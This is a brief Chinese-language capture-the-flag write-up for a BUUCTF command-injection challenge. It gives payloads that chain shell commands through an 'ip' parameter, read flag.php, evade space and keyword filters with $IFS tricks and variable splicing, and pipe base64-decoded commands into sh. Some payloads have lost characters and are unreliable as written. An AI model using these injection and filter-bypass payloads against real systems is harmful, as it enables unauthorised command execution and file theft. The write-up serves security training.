题目地址:buuctf
打开题目
只有一个/?ip=
尝试传?ip=127.0.0.1,得到回显
利用管道符漏洞,传?ip=127.0.0.1||ls
看到flag.php 传?ip=127.0.0.1||cat%20flag.php
尝试传一下,得知如果我们传入的字符含有flag空格或者/,那么就会返回错误
这里用IFS1来绕过空格的限制,传?ip=127.0.0.1||catIFS1index.php
可以看到确实过滤了很多
这里我用三种办法
preg_match("/.*f.*l.*a.*g.*/", $ip
因为这个会判断输入语句中是否按顺序出现f l a g,所以我们用
?ip=127.0.0.1||a=g;catIFS1fla
?ip=127.0.0.1||a=g;cat$IFS$1`ls`
既然过滤了bash,那么可以用sh
?ip=127.0.0.1||echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|sh
其中Y2F0IGZsYWcucGhw是base64加密之后的cat flag.php
关于命令执行的绕过,可以参考ghtwf01师傅的这篇文章:命令执行漏洞利用及绕过方式总结